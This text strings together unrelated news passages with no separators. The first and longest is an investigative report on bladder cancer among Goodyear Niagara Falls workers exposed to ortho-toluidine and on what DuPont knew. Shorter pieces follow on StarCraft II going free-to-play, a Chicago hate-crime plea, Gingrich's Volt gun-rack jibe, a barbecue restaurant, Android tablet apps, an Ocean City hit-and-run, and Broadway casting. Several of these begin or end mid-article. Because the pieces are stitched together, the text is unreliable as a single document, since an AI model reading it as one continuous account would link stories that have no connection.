By the early 1970s, three workers from Department 145 — the PVC unit, which closed in 1996 — had died of a rare form of liver cancer called angiosarcoma, which researchers blamed on a sweet-smelling chemical called vinyl chloride.
When Kline worked in Department 145 in the 1960s, his wife, Dottie, bore two children, John and Donna, with severe birth defects in consecutive years. John, who was missing much of his brain and skull, a condition called anencephaly, lived for one day. Donna, born with a brain fluid buildup known as hydrocephalus and spina bifida, a spinal cord defect, survived six weeks.
Dottie Kline believes her husband’s work around vinyl chloride caused both children’s defects, a theory with some scientific support.
In 1975, Peter Infante, then an epidemiologist with the Ohio Department of Health, reported significant excesses of birth defects in three Ohio cities with PVC production sites. His study, he wrote, “demonstrated that malformations involving the central nervous system in those three communities were particularly high,” though they couldn’t be pinned to a particular chemical.
Infante, who went on to work for two federal agencies, later emphasized that it was important to assess “not only the effects of [vinyl chloride] as transmitted through the female, but also the potential for any adverse effect that may be transmitted through the male.”
The research didn’t come in time for the Klines. “It still hurts to talk about it,” Dottie said.
In 1986, Ray Kline nearly died of a heart attack at 48 after being struck in the chest by a piece of equipment at work. Bladder cancer came on in 1997 and reappeared a year later. “He is still getting suspicious cells to this day,” Dottie said.
Ray said he considers it all “water under the bridge. I don’t get too excited about it.” He had to be coaxed by his family into bringing a lawsuit against DuPont, thinking it might reflect badly on Goodyear.
“Honestly, there’s drawbacks to any place you work,” he said. “You just need to be aware of them, and we weren’t aware of them at the time.”
His wife is not as forgiving.
“He’s been through a lot because of Goodyear,” Dottie said. “Sure gave us a good living, but I don’t know that it was worth what we went through with our kids and what he’s been through.”
Asked about the Klines’ ordeal, Goodyear said, “The health and safety of our associates has always been at the top of our agenda. That includes all operations at the Niagara Falls facility.”
Recipe for cancer
After nearly three years in the Air Force, Harry Weist started in Department 145 — vinyl — at Goodyear in December 1977. “My mom was a switchboard operator there and I said, ‘Give me a job.’ ”
Weist, who married Ray Kline’s daughter, Diane, in 1980, spent a decade in Department 145. He ventured at times into Building C-2, the recycling area of the rubber chemicals division. Here liquid waste drained from the Nailax reactors, including ortho-toluidine, was collected. Weist’s path to becoming bladder cancer case No. 37 may have begun in C-2.
In those days, and for years after, some workers handled the vilest of compounds wearing only T-shirts, jeans, ball caps and cotton gloves. The most-despised task was cleaning the Sparkler filters, which removed iron filings from the batches of Nailax. “You’d open it and you’d have orange fumes coming off it,” Weist said. “It was really nasty.” The fumes were rich with ortho-toluidine.
There were other, bigger sources of exposure. For 31 years, Goodyear weighed ortho-toluidine — pumped into Building 32, the Nailax production area — in open tanks, posing an inhalation risk. There were frequent spills, allowing for direct contact with the chemical and absorption through the skin.
In the late 1970s, amid mounting worries about chemicals in the workplace, the Oil, Chemical and Atomic Workers — since absorbed by the United Steelworkers — hired physicians to investigate conditions in union plants. Dr. Christine Oliver of Boston arrived at Goodyear in Niagara Falls in March 1979; once inside the plant, she learned of an apparent cluster of premature deaths from heart disease in Department 245. There also seemed to be a bladder cancer problem, Oliver was told.
Two years after Oliver’s visit, Rod Halford, then president of OCAW Local 8-277, wrote a letter to plant manager James Pearson. “It has come to our attention that four current Goodyear employees have developed cancer of the urinary bladder,” Halford’s letter began. He identified two chemicals of concern: ortho-toluidine and aniline, a raw material in Kagarax, which helped speed the rubber curing process and is no longer made by Goodyear.
Both were suspected animal carcinogens, Halford wrote, though only ortho-toluidine appeared to target the bladder. He asked Pearson for air monitoring and worker mortality data, among other things.
Pearson replied that worker exposures to the chemicals were “well below” allowable limits, and that neither of the two mortality studies conducted in the plant to date had addressed “cancer of the urinary tract specifically.”
More than three years before Pearson wrote this letter, DuPont had informed Goodyear managers that while there was no evidence ortho-toluidine had caused cancer in any DuPont employees, it had induced tumors in rats and mice during a study by the National Cancer Institute.
Attached to DuPont’s letter was a material safety data sheet it planned to begin using. It included the following warnings: “O-toluidine is cyanogenic [turns the lips and nails blue] and can be absorbed through the skin & respiratory tract, exposure symptoms may include bluish lips or fingernails, headache, nausea, or fatigue. Product may cause cancer in animals. Direct body exposure to fumes or liquid must be prevented.”
Current and former Goodyear workers say this information wasn’t shared with them at the time. Halford would become bladder cancer case No. 18 in 1992.
There was limited activity in the seven years following Halford’s 1981 letter. Wodka, who’d been a legislative assistant and staff representative in the OCAW’s Washington office for 12 years, left the union to get his law degree.
By 1988, after Harry Weist had transferred to maintenance, local OCAW officials knew of eight workers in Niagara Falls with bladder cancer. Wodka alerted the OCAW international, which requested an investigation by the National Institute for Occupational Safety and Health — NIOSH, part of the Centers for Disease Control and Prevention.
Things were worse than expected. NIOSH epidemiologists found 13 cases of bladder cancer in the plant, nearly four times the incidence rate in the general population. They documented a 27-fold increase in the disease among workers who had spent at least 10 years in Department 245. Suspicion fell on ortho-toluidine and, to a lesser extent, aniline.
Elizabeth Ward was the lead NIOSH investigator for five years. Now national vice president for intramural research at the American Cancer Society, Ward believes the cancer surge at Goodyear was largely preventable.
“There was evidence of the carcinogenicity of ortho-toluidine in animals, but the plant had not really taken sufficient precautions to reduce exposures to the workforce,” Ward said. “It really was a case of not heeding the evidence.”
Goodyear said, “We have followed effective industrial hygiene practices for decades in regard to this chemical.” Only one case of bladder cancer, it said, involved a worker who started at the plant after 1990.
Casualties
This is small comfort to people like Dick Prato. Prato started at Goodyear in 1963 and worked in Department 245 for 39 years. He was diagnosed with bladder cancer after urinating blood on a camping trip in 1995, making him case No. 19. The ginch came back in 1997 and 2007.
Prato rode out six weeks of chemotherapy in 1995 and another round two years later. “Every Monday I’d get the [drugs] shot up in my bladder,” he said. “You’d get that stuff at 8 in the morning and urinate it out by 1. You were wrapped up in a blanket, freezing to death, and yet sweat was just pouring off you. It was like the flu.”
The cancer lay dormant for a decade. “Then I went in to have my regular check-up,” Prato said, “and there it was.”
He underwent more chemo. At 72, he harbors a persistent, low-grade anxiety. “Sometimes,” he said, “I don’t even wait a year” to get a cystoscopy, an exploratory procedure, usually done annually, in which a tube fitted with a lens is inserted into the urethra. “I get scared and get scoped after nine months.” The aim, for anyone in his position, is to keep the cancer from breaching the bladder wall and metastasizing.
Bladder cancer is often survivable if caught early. Once unleashed, it’s horrific.
During the last year of his life, Joseph Nicastro, a retired Morton International worker who died in 2010, was punctured with tubes and perpetually sickened by chemo and radiation treatments.
“It was pure hell,” said his wife, Pam, who lives in Ocean Township, N.J.
Pam and Joe had met in 1993 and were married a year later. Joe was an operator at the Morton plant in Paterson, where ortho-toluidine was used to make dyes for gasoline. “He used to speak every once in a while about [co-workers] who had cancer,” Pam recalled. “I’d say, ‘I hope you’re wearing your protective gear.’ And he’d say, ‘Oh yeah, I’m wearing it.’ He showered every day before he left that plant. I think you had to.”
Joe was a “big, strong guy,” his wife said. “He had a presence about him.” In late 2007, when he was 64, Joe began complaining of leg and shoulder pain. “We just thought it was the aches and pains of aging,” Pam said. By early 2008, he was having trouble urinating. One day a “big blood clot” came out, Pam said. A cystoscopy detected “a mass so large it was outside the bladder wall. It was in his muscle.”
The cancer had spread to Joe’s bones. He lived another 22 months and weathered treatments that sometimes seemed worse than the disease itself. Steroids made him anxious and aggressive; chemo made him violently ill. At one point “the skin was literally peeling off his butt” from radiation therapy, a condition exacerbated by chronic diarrhea, Pam said. “The man was trying to sit on a toilet with open wounds.” Joe fell one time when Pam was out; she returned to the couple’s townhouse to find him on the floor, covered in feces.
Pam became Joe’s full-time caretaker, flushing the nephrostomy tubes that drained his kidneys and emptying the bags that collected his urine. She helped him go to the bathroom, gave him sponge baths, took him to countless doctor visits and tried to boost his flagging spirits. “He was so scared. His mind was racing,” she said. “He would always say he was sorry to me. I would say, ‘Why are you sorry? You had to make a living.’ ”
Joe spent the last week and a half of his life in hospice care. He died at 3 a.m. on March 4, 2010. He was 66.
Pam sued DuPont, claiming it failed to warn Morton — which closed the Paterson plant in 2002 — about the cancer-causing properties of ortho-toluidine. The case was settled for an undisclosed sum just before a scheduled trial in October 2012.
Pam said she used to be “furious” at DuPont, though her anger has abated somewhat. “I just felt like every time I would see [DuPont’s] lawyers, it was no big deal to them,” she said. “It made me sick.”
DuPont said it “settled lawsuits related to ortho-toluidine in order to avoid a long and drawn-out litigation process. DuPont’s decision was not, nor should it be construed as, an admission of liability.”
Decades of alerts, DuPont’s knowledge
DuPont began making ortho-toluidine — part of a family of compounds known as aromatic amines, used in the rubber and dye industries — at its sprawling Chambers Works in southern New Jersey in 1919. More than two decades earlier, in 1895, a German physician named Ludwig Rehn had reported finding bladder cancer in three workers at a dye factory. Rehn had documented 38 cases in seven factories by 1906; German law eventually would force such operations to improve ventilation, provide workers with protective clothing and mandate post-shift hot baths.
In a 1921 paper, the International Labour Office in Geneva summarized the findings of Rehn and others in Europe, deeming it “absolutely necessary that in factories in which workers are exposed to the dangerous action of aromatic bases, the most rigorous application of hygienic precautions should be required.” Such precautions, it predicted, “will assure at the end of a few years the diminution and even the disappearance of the disease.”
Yet hundreds of bladder cancer cases emerged from DuPont and another early manufacturer of aromatic amines, Allied Chemical in Buffalo, in the coming years. Chambers Works, which opened in 1917, had recorded 489 cases by 1991, 453 of which DuPont viewed as “occupational” in nature, according to a company memo.
The alerts kept coming.
In 1934, G.H. Gehrmann, then DuPont’s medical director, noted the importance of giving highly exposed employees at Chambers Works annual cystoscopies. Medical examinations, he wrote, should “continue all through the entire period of employment, and in the case of men exposed to bladder tumor-forming chemicals, continue until death removes the final possibility of tumor development.”
In 1940, two researchers at Osaka Imperial University in Japan reported that ortho-toluidine caused benign tumors in the bladders of rabbits that had been injected with the chemical and rats whose skin had been painted with small amounts of it. They took this as evidence that the development of cancer in humans “can be prevented by keeping the skin as clean as possible.”
In 1948, Wilhelm Hueper of the National Cancer Institute warned in a review of occupational carcinogens that ortho-toluidine was “capable of producing bladder tumors” in animals. Hueper had published on the subject as early as the 1930s, when he was a toxicologist at DuPont’s Haskell Laboratory for Toxicology and Industrial Medicine.
In a deposition a half-century later, the lab’s retired director, John Zapp, dismissed Hueper, a German immigrant, as a “difficult, troublesome employee wherever he worked.”
Zapp admitted knowing by 1955 that ortho-toluidine had caused tumors in rodents. “Look, I don’t care if a chemical gives cancer to rats if it doesn’t bother the humans,” he testified in his deposition. “And I think that the rat is a poor indicator for bladder tumors.”
Zapp acknowledged that DuPont had the capacity to perform its own study of ortho-toluidine at the time but elected not to. It already had flagged another aromatic amine made at Chambers Works, beta-naphthylamine, as the biggest cancer threat to workers; that chemical, Zapp said, was gone from the plant by 1957.
It was also in 1955 that Monsanto, which had been buying ortho-toluidine from DuPont for at least 15 years, reported that some exposed workers had seen blood in their urine. Neither this development nor the animal studies created a stir at DuPont. Ortho-toluidine already was classified as a “no-contact chemical” at Chambers Works based on its acute effects, Zapp explained.
“Even if we had proved that ortho-toluidine was a carcinogen, I think our workers would have been protected,” he said. Indeed, a photograph in Modern Occupational Medicine, a 1954 textbook edited by Zapp and two other DuPont employees, shows a worker in a “Chem-Proof Air Suit” developed at Chambers Works.
Goodyear began buying ortho-toluidine from DuPont and Allied (later acquired by Honeywell) in 1957. A third supplier, Mississippi-based First Chemical, entered the picture in 1967. Three years later a Russian study found an excess of bladder cancer among workers exposed to the chemical; the study was translated into English for both Allied and DuPont.
In the United States, the National Cancer Institute found that ortho-toluidine triggered bladder tumors in rats and mice. DuPont followed the work closely. In a confidential 1975 memo, Haskell Lab’s assistant director, Blaine McKusick, wrote that faults could be found with the NCI experiment but suggested DuPont “regard ortho-toluidine as a suspected carcinogen” nonetheless.
DuPont waited another two years to send a letter to Goodyear and other customers, alerting them to a “possible carcinogen problem” with the chemical. The letter had little impact at Goodyear, said the president of the company’s bargaining unit at Steelworkers Local 4-277, Ed Polka, who started at the Niagara Falls plant in 1979, the year the NCI study was published.
Workers had “no inkling” of ortho-toluidine’s potency, said Polka, who bagged Nailax his first five years. “DuPont knew beaucoup years earlier. None of this information ever came to us. It was a dirty little secret.” Goodyear’s position, he said, was, “You don’t need to worry about it.”
In its statement, DuPont said it was on the “cutting edge of the available toxicology and epidemiology studies conducted with ortho-toluidine” during the 90 years it and its wholly owned subsidiary, First Chemical, made the compound. “DuPont’s communications for ortho-toluidine were commensurate with the state of scientific knowledge, the applicable laws and regulatory standards and consistently reflected the scientific community’s consensus on the potential health effects associated with the product.”
‘Still a question’ for Goodyear
When did Goodyear know? In a 1991 deposition, the company’s former medical director, Dr. Clifford Johnson, testified that when the union alerted the company to the four bladder cancers in Niagara Falls in 1981, there was “still a question” in his mind about whether ortho-toluidine caused bladder cancer in humans.
“Did you notify any of the suppliers of ortho-toluidine to the Niagara Falls plant of this incidence of bladder cancer?” union lawyer Wodka asked.
“No, I did not,” Johnson replied. He hadn’t been convinced there was a looming crisis in Department 245. “I had no way of knowing whether four cases was a high number,” Johnson testified; he said he’d made no attempt to find out.
Dr. Steven Markowitz, a Steelworkers and former OCAW consultant, said Goodyear should have acted after the 1979 NCI study was published.
“Bells should have gone off about restricting exposure and about looking at human epidemiology — is there a problem?” said Markowitz, a professor of occupational and environmental medicine at New York’s Queens College, a medical expert in Wodka’s litigation and a co-author of the first NIOSH paper on the outbreak. “That was very strong evidence because it wasn’t just any old animal carcinogen. The NCI study showed tumors in the same organ as in humans — the bladder — in female rats.”
Goodyear said it “adjusted its systems and processes” when it learned ortho-toluidine might be problematic.
In fact, it made improvements at the Niagara Falls plant in the 1980s, upgrading exhaust systems and encouraging workers to wear protective gear instead of T-shirts and jeans. The policy was loosely enforced, Polka said. “The older guys were like, ‘You know what? I don’t want to be bothered with it. I’ve worked with it all this time and I got no problems. Leave me alone.’ Goodyear’s attitude was, ‘We’re making it available to you. Put it on if you want.’ ”
When NIOSH came into the plant in 1988 and confirmed the bladder cancer excess, people took notice. Goodyear clamped down in the early 1990s, making mandatory the wearing of chemical-barrier suits and respirators for workers performing certain jobs and fortifying pipes and pumps to keep ortho-toluidine from leaking. Workers who had to clean the rancid Sparkler filters were required to put on air-fed “astronaut” suits, not unlike the ones DuPont began supplying to its own people decades earlier.
Despite these measures, enormous harm already had been done. Dozens of workers developed bladder cancer from the 1970s on. Among them was a maintenance worker known for his obsession with cleanliness.
“That guy was so meticulous he’d wipe his chair in the lunchroom before he sat down,” Goodyear retiree Bob Dutton said. “Later on we find out he’s got the ginch. He’s gone. He died of a brain tumor.”
‘Antiquated’ standards, few inspections
Ortho-toluidine is no longer made in the United States. The four domestic users — Goodyear, Monsanto, Lanxess Corp. of Pittsburgh and AC&S Inc. of Nitro, W.Va., according to the Environmental Protection Agency — import it from countries such as Germany, China and India. The compound is on the European Chemicals Agency’s version of a blacklist, along with 143 other “substances of very high concern.” The International Agency for Research on Cancer considers it a Group 1 — known — human carcinogen.
Monsanto brought in more than 23 million pounds of ortho-toluidine last year to make herbicides in Muscatine, Iowa. In a statement, spokesman Thomas Helscher wrote that the company is “aware that ortho-toluidine is classified as a probable human carcinogen by OSHA” — the Occupational Safety and Health Administration.
The raw chemical, he wrote, “is not handled at any of Monsanto’s facilities.” It’s shipped first to an intermediate manufacturer in Texas, which converts it to a more benign material that then goes to Iowa.
Both Monsanto and the intermediate manufacturer — which Helscher declined to name, citing a confidentiality agreement — take care to protect workers from ortho-toluidine exposure, he wrote. Levels of the chemical in the Texas plant were “undetectable” during air monitoring earlier this year.
Still, air concentrations of ortho-toluidine in Goodyear’s Department 245, even at the height of the cancer scourge, were mere fractions of the federal limit of 5 parts per million, according to NIOSH. That limit, like hundreds of others, hasn’t been updated by OSHA since 1971.
In 1974, OSHA issued a broad standard covering 14 carcinogens, including aromatic amines such as beta-naphthylamine. The standard required a long list of protective measures; impervious gloves, boots and air-supplied hoods had to be worn by workers in case of spills or during maintenance, for example, to keep the chemicals from soaking through the skin.
Ortho-toluidine wasn’t included. Workers kept dying.
In an unusually candid news release in October, OSHA, boxed in by industry legal challenges, restrictive court decisions and hostile politicians, acknowledged that its “exposure standards are out of date and inadequately protective for the small number of chemicals that are regulated in the workplace.” It urged employers to switch to safer alternatives or voluntarily adopt more stringent limits “since simply complying with OSHA’s antiquated [ones] will not guarantee that workers will be safe.”
Rigid policing seems out of the question. OSHA and its state partners must monitor nearly 8 million workplaces; together they have about 2,400 inspectors. “It would take us close to 100 years to inspect every workplace once,” OSHA chief David Michaels said in November.
Goodyear, for its part, said it has “systems and procedures in place for the safe handling of ortho-toluidine, which include double seal pumps, dedicated shower rooms, ventilation, and the required use of personal protective equipment.”
The company said it does biannual bladder screening for all active and retired employees. It also does pre- and post-shift urine testing for workers to gauge how much ortho-toluidine is being absorbed through the skin during the workday.
Wodka, however, had to bring a class-action lawsuit to force Goodyear to extend the screening program to retirees and other former employees. And urine testing for workers is infrequent, with no guarantee it will continue.
Older members of Steelworkers Local 4-277 speak of Wodka — 64, with a salt-and-pepper beard — with reverence. “Ask Steve,” they say when their memories fail them.
Wodka remains a union stalwart, representing the local. He joined the staff of the Oil, Chemical and Atomic Workers as an intern in 1969. He and a New York Times reporter were to meet nuclear whistleblower and union organizer Karen Silkwood in Oklahoma the night she died in a car accident in 1974. Many believe Silkwood, an employee of Kerr McGee Corp. who’d been contaminated with plutonium, was deliberately run off the road.
In 1983, as a legal assistant in the Washington office of the plaintiffs’ firm Baron & Budd, Wodka worked on the first bladder cancer case out of Goodyear — Henry “Hank” Schiro, who was diagnosed in 1972 and died at 57 in 1986. He filed his first lawsuit against DuPont, Allied and First Chemical in 1987 on behalf of Goodyear worker Richard Sullivan, victim No. 3. (Workers’ compensation laws generally bar employees from suing their employers).
“My goal,” Wodka said, “is to see things through to the end … to make sure that workplace is made safe before my career is up.”
Today the Goodyear plant has only 43 union workers. Part of Department 145 — the old PVC section — has been torn down; the rest is used as a warehouse.
The plant still moves a lot of product with its stripped-down crew, Harry Weist said. A sign outside reads: “TAKE SAFETY TO THE EXTREME. WE MUST. WE WILL.”
A town in decline, fear of ‘the ginch’
Niagara Falls itself is in decline, a seedy cousin to its tourist-mecca namesake across the river in Ontario. Gone are Great Lakes Carbon, Electro Metallurgical and other plants that provided middle-class jobs for decades.
Downtown is mostly bereft of life, save for the Seneca Niagara Casino and Hotel on 4th Street. A half-mile west of the tower, mist rises from the 180-foot-high American Falls and, beyond that, the slightly lower but much wider Horseshoe Falls in Canada. “You’ve got this beautiful attraction,” Weist said during a drive through the city. “I can’t believe you can’t do something with this.”
Weist and his father-in-law, Ray Kline, deliver auto parts to keep busy in retirement and make extra money — especially important for Kline, whose health benefits, like those of other former managers, were eliminated by Goodyear.
Both have settled claims against DuPont. Both have their bladders scoped annually for cells that could signal the ginch’s return.
“You always worry,” Weist said. “Is it going to come back?”
As explained on the Battle.net blog, players will be able to download StarCraft II's original "Wings of Liberty" single-player campaign for free. Players who previously paid for "Wings of Liberty" will be able to get "Heart of the Swarm" expansion for free instead, and players who purchased an expansion previously will receive an exclusive Ghost skin and three new portraits.
Players will also be able to earn full, free access to ranked multiplayer play, including units from all three of the game's expansions. That mode will be locked until players notch a single unranked or AI win on 10 separate days ("our way to preserve the quality and integrity of the ranked experience," Blizzard explains).
Co-op players will be able to use three Commanders completely free—Raynor, Kerrigan, and Artanis—while others will be free up to level 5, after which they will need to be purchased individually. Blizzard will continue to make money off of StarCraft II by selling those Co-Op Commanders, additional single-player campaigns at $15 each (or $40 for a bundle of three), and other "premium upgrades" like announcer packs, special skins, and War Chests.
The full free-to-play transition follows the "StarCraft II Starter Edition," which has for years offered a limited selection of missions, challenges, and custom multiplayer games for free. "That wasn’t well-known,” Production Director Tim Morten told Polygon in an interview. "It was confusing to understand what you need to buy to actually start playing StarCraft II. We wanted to cut through that confusion and announce that StarCraft II is free-to-play."
Back in 2011, Blizzard scaled up World of Warcraft's 14-day free trial by offering free play up to level 20 . That offer was eventually expanded to "Veteran" accounts to some extent, and it started allowing players to pay for subscriptions with in-game gold
Brittany Covington, 19, entered her plea in a case that received national attention because it involved an 18-year-old disabled white man and four blacks who taunted him with profanities against white people and President Trump. Covington narrated the video of her and three others torturing the man.
The victim disappeared in January and his family said they received text messages from him claiming he was being held hostage. Jordan Hill, one of the four friends charged, picked the victim up at a McDonald’s in Streamwood in a stolen van. Hill and the victim previously knew each other from high school, the Chicago Sun-Times reported. The two reportedly drove around for three days.
FAMILY OF CHICAGO-AREA MAN TORTURED IN FACEBOOK LIVE VIDEO SPEAKS OUT
The video captured the four suspects taunting him and cutting his clothes after a “play fight” in Covington’s sisters’ apartment. The video showed a wound on top of the victim’s head and him being pushed by one of the attackers. A neighbor threatened to call police, which resulted in the four suspects raiding her apartment and stealing her property, police said. The victim was able to escape during that time. Officers found the victim in torn clothing a block away from the apartment.
The videos sparked outrage including condemnation from then President Barack Obama who called the acts “despicable.”
Covington has been behind bars since January when the video, which she narrated, surfaced. Her three co-defendants remain in custody and their cases are pending.
4 SUSPECTS IN ATTACK ON MENTALLY DISABLED MAN DUE IN COURT
In exchange for pleading guilty to committing a hate crime, aggravated battery and intimidation, prosecutors dropped a kidnapping charge and others.
The judge ordered Covington to not use social media for four years. She also must perform 200 hours of community service.
Real Americans only drive pickup trucks (imported oil be damned).
It's obvious because slaps at green cars and fuel-economy rules have become a staple of political campaigning among certain candidates.
Yesterday, Newt Gingrich mocked the current Administration's promotion of fuel-efficient cars in a speech at Oral Roberts University in Tulsa, Oklahoma.
According to Talking Points Memo, Gingrich said, "Let me start from a simple premise that Oklahomans will understand: you cannot put a gun rack in a Volt."
It's eerily reminiscent of then-Texas Governor Rick Perry's July 2008 sneer that you can't put hay bales in a Toyota Prius hybrid.
Because, y'know, every American needs those abilities in every vehicle he buys.
Rhetoric v facts
With this kind of red-meat rhetoric, a little fact-checking is usually in order.
In the Perry hay-bale case, Austin American-Statesman humor columnist John Kelso borrowed a Prius from a coworker and filled it with five hay bales.
So much for that.
Hay bale in Toyota Prius, from Austin American-Statesman
As for the Gingrich gun-rack contention, it took Volt owner J.T. McDole less than a day to prove Gingrich wrong. Watch his video, above.
Not that it's likely that hunters would take a Volt off-roading into the back country to go hunting anyhow. But never mind that.
Gun racks: 'bad idea'
High Gear Media's resident gun expert, Kurt Ernst, said experienced firearms instructors (he is one) consider gun racks "a really, really bad idea" in general.
Guns openly mounted in vehicles pose an obvious and severe theft risk.
And the racks are aftermarket accessories, of widely varying quality, whose significant weight and sharp edges can be dangerous in a severe accident.
Ernst comments: "With the rear seat folded down, the Chevy Volt's cargo bay has plenty of room to transport as many securely cased long guns as the owner wishes."
Volts un-American?
Of course, just as the Prius was the subject of sneers, taunts, and misinformation a few years back (which hasn't hurt its sales, projected to grow to a new record in 2012), the Volt is this year's political whipping boy.
2012 Chevrolet Volt
Decoded, Newt's comment really meant, "REAL Americans, who drive full-size pickups and sport-utility vehicles, don't want to be forced into buying a Volt or a plug-in car."
Luckily, no one is forcing them to do so.
And, funny, we didn't hear Gingrich say anything about displacing the oil we have to import from foreign countries that don't much like us by not burning it in the first place. His focus was on drilling.
For the record, the 2012 Chevrolet Volt is rated at 37 miles per gallon when running on its range-extending gasoline generator.
That's the highest gas mileage of any vehicle built by a U.S. carmaker in the United States.
Just make it stop
But then the campaign trail is rife with confusion and those pesky little factual errors.
We're already eagerly looking forward to Wednesday, November 7, when the presidential election will be over--one way or another.
How about you?
Skylight Inn BBQ was named a "barbecue capital of America" by National Geographic in the 1970’s, which inspired the construction of the capital dome and flagpole atop the otherwise unassuming restaurant (earlier this year, Eater critic Bill Addison also named it home to one of the country's 23 essential barbecue dishes). Their whole hogs are still prepared in the same style as when Pete Jones began the business: cooked over 100% oak wood become piled of chopped and mixed tender meat and crispy skin. Watch the video above for a look into the establishment's history, and the food that keeps people coming back for more.
That's the conventional wisdom, at least. The assertion is hard to test, but I wanted to try. Comparing app availability is difficult. You can't just compare the number of apps available, especially when Google won't give a number for Android tablet apps.
So I assembled my own list of potential app providers. To create a list of top brands, I looked at Nielsen's top 10 global Web companies, online video destinations, and U.S. TV networks; Alexa's top 10 U.S. websites; the top 10 retail banks as measured by the Federal Reserve; 10 top online game publishing houses; Nielsen's top 20 Android apps by usage; and Apple's top 10 paid and top 10 free iPad apps by usage. I looked for official apps from each of these companies.
The First Problem: Finding Android Tablet Apps
Finding tablet-oriented apps for Android is a hunt, a chore, and a grind. You can find some by looking in the very small Suggested for Tablets area on Google Play, using search terms like "Tablet" or "HD" in Google Play, or using the Tablified Market third-party directory ($1.49).
Things get even worse when you realize Google Play shows different apps on its website and on individual tablets; even though the Google Play website claims some apps run on an Asus Transformer Prime, the apps didn't show up on Google Play on the Prime.
And just because an app claims to run on tablets doesn't mean it was designed for tablets. Often, after you download an app you'll discover that it's ugly or nearly useless because it was designed for a 4-inch screen. The frustrating discovery process is one reason our software desk was able to come up with a list of The 100 Best iPad Apps but only 12 great Android tablet apps.
There's a slice of geeks who won't care, generally tech types who want to experiment and aren't afraid of some trial and error. They'll be rewarded with unique Android app categories like widgets, BitTorrent clients, and game emulators. But for the mainstream consumer, hunting down and puzzling out Android tablet apps is just too complex and frustrating.
Still, though, I wanted to collect a list of popular brands and see how they compared on the Transformer Prime versus the iPad.
Android vs. iOS: The Apps
Superficially, the picture doesn't look so bad for Android tablets; almost all of the brands are at least represented on Google Play, and some display more apps per brand on Android than on the iPad.
The problem is that the Android apps are often formatted for phones. They'll work on tablets - barely - but they'll be ugly, with less functionality than their iPad counterparts. Items that could be pop-down menus or swipeable content require screen reloads. Little information is displayed per page, for instance, on the eBay app. Graphics sometimes appear low-resolution, distorted (as on the CBS Sports Football app), or are overlapped by ads. The number of clicks to do things increases dramatically.
I was wrong to say about Android tablets, "competing tablets don't have apps." Rather, competing tablets have apps that usually suck. Not all of them suck. CNN's Android tablet app is gorgeous. But most of them do.
Android was weak on apps from TV brands, with only one app from ABC compared to the iPad's 12 and nine from Disney compared to the iPad's 32. But it did well with dominant Web brands, offering 14 Yahoo apps to the iPad's five and seven Amazon apps to the iPad's 4. There are 20 Google apps for the Transformer Prime and only eight for the iPad; Google+, most notably, is missing on the iPad. Google's tablet apps look great on both platforms. Apple, Nielsen's number-nine Web brand, offers no Android apps.
Each OS is missing some major brands. The iPad has no official Wikipedia app, although there are several third-party versions. The Android Wikipedia app looks so bad, though, that it's not really competition. It's a reformatted WAP site on a tablet capable of displaying the full Web.
There's no LinkedIn app on the iPad, but once again the Android app is uglier and less functional than LinkedIn's website. Apps are supposed to provide more or faster functionality than their corresponding Web sites, but those Android apps don't deliver.
It wasn't hard to find apps that ran on the iPad but not on the Prime. In my initial search Hulu+ came up, along with ABC and USA TV apps. All of those iPad apps look gorgeous.
The Android platform has all of the top 20 iPad apps except for the game Tiny Wings. The iPad lacks three of the top 20 Android apps: Advanced Task Killer, the Amazon Appstore, and Google+. But I'd assert that for categories other than games, Android tablets' problem isn't app availability but app quality.
Around 10:50 p.m. last Friday, Ocean City Police responded to a reported motor vehicle collision involving a bicycle in the area of 46th Street. The officer located the victim, who was bleeding from her elbows and hands and complained of a head injury as a result of the collision. Police also observed the victim’s damaged bicycle.
A witness was located who described the events leading up to the crash and was able to provide police with a license plate number along with a description of the vehicle. A search revealed the vehicle belonged to Meredith Ashley, 21, of Ocean City. The witness told police Ashley had been seen driving in the bus lane purposely splashing pedestrians by driving through puddles. The witness told police she observed Ashley strike the bicyclist and speed off, according to police reports.
Ashley did not stop, did not render aid and did not provide any information to the victim or police. The witness and two pedestrians who had allegedly been splashed by Ashley rendered aid to the victim before police arrived. OCPD officers located the suspect’s vehicle around 3rd Street. The vehicle had damage to the front bumper and hood and a spider web-like crack in the windshield consistent with the collision described by the victim and witnesses.
OCPD officers located Ashley at her residence on 2nd Street. Ashley admitted driving the vehicle and acknowledged striking the bicyclist, although she said she had hit her brakes to avoid another vehicle when she hit the bicyclist. Ashley reportedly told police she fled the scene because she “freaked out,” and that she knew an ambulance would be coming, a statement by which she essentially admitted knowing the victim was injured.
Mr. Long will assume the role of 'Martin' from Hamish Linklater, who will play his final performance on Sunday, April 1. As previously announced, Mr. Goldblum will assume the role of 'Leonard' from star Alan Rickman, who will also give his final performance on Sunday, April 1. Mr. Long and Mr. Goldblum will both begin performances on Tuesday, April 3 for 8 weeks only. Further casting will be announced soon.
Justin Long is a versatile talent in both Film and Television with roots on the comedy stage. His many film credits include Sam Raimi's Drag Me to Hell, Live Free or Die Hard, He's Just Not That Into You, Zack and Miri Make a Porno, Accepted, The Break Up, After Life, Youth in Revolt, Going the Distance, Funny People and his break-out roles in Galaxy Quest and Dodgeball: A True Underdog Story. TV audiences know him as 'Warren Cheswick' on the NBC series "Ed" and 'Paul' on the FOX series "New Girl." He got his start in comedy as a member of Vassar College's comedy troupe, Laughingstock, and his theatrical stage credits include three summers at Williamstown Theatre Festival.
Academy Award and Emmy Award nominee Jeff Goldblum is a celebrated actor in Theater, Film and Television, who last appeared on Broadway in The Pillowman in 2005. More recently, he's been acclaimed for starring in two productions for The Old Vic in London, Speed-the-Plow (2008) and The Prisoner of Second Avenue (2010). His diverse film credits include some of the highest-grossing films of all-time, include Jurassic Park and Independence Day, as well as such classics as Nashville, Death Wish, The Big Chill, Annie Hall, The Life Aquatic, Igby Goes Down and The Fly. On television, he most recently starred as Detective Zach Nichols on "Law & Order: Criminal Intent." He earned an Emmy nomination for his guest appearance on "Will & Grace" and recently guest starred on the hit series "Glee."
The entire original cast of SEMINAR – also including Tony Award nominee Lily Rabe, Hamish Linklater, Jerry O'Connell and Hettienne Park, and all celebrated as "Extraordinary" (USA Today), "Brilliant" (Wall Street Journal), "Astonishingly talented" (New York) and a "Champion ensemble" (New York Post) – will continue through Sunday, April 1 with Mr. Rickman.
Alan Rickman is appearing with the permission of Actors' Equity Association.
